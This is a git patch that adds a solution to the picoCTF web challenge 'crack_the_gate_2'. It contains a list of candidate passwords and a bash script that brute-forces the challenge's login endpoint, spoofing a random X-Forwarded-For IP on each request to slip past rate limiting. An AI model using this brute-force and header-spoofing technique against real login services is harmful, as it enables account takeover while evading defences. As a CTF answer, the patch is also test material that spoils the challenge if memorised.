From a0e80a7aa448707e14573aa09af8144b19e6b339 Mon Sep 17 00:00:00 2001 From: h7x4 Date: Fri, 3 Jul 2026 15:31:59 +0900 Subject: [PATCH] web/crack_the_gate_2 --- web/crack_the_gate_2/passwords.txt | 20 ++++++++++++++++++++ web/crack_the_gate_2/solve.sh | 11 +++++++++++ 2 files changed, 31 insertions(+) create mode 100644 web/crack_the_gate_2/passwords.txt create mode 100755 web/crack_the_gate_2/solve.sh diff --git a/web/crack_the_gate_2/passwords.txt b/web/crack_the_gate_2/passwords.txt new file mode 100644 index 0000000..06929df --- /dev/null +++ b/web/crack_the_gate_2/passwords.txt @@ -0,0 +1,20 @@ +tkY83OwR +vISQRFmM +471HtPne +s8nXfR6X +WoQEk5GL +eu8z9EFn +0SMi2c8U +WlHiKuw6 +0iaXgUGR +shNKoNrW +KaqwDEUA +eSqOLef7 +CueFICmh +MZZSJucZ +eZQR9yx7 +sPEIun6X +p0fkX9cA +CY1sEmC6 +M707m17w +8thnKYYn \ No newline at end of file diff --git a/web/crack_the_gate_2/solve.sh b/web/crack_the_gate_2/solve.sh new file mode 100755 index 0000000..b9e608e --- /dev/null +++ b/web/crack_the_gate_2/solve.sh @@ -0,0 +1,11 @@ +#!/usr/bin/env bash + +for pw in $(cat passwords.txt); do + RANDOM_IP="$(printf "%d.%d.%d.%d" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))")" + + curl 'http://amiable-citadel.picoctf.net:50745/login' \ + -X POST \ + -H "X-Forwarded-For: $RANDOM_IP" \ + --json "{\"email\":\"ctf-player@picoctf.org\",\"password\":\"$pw\"}" + echo +done;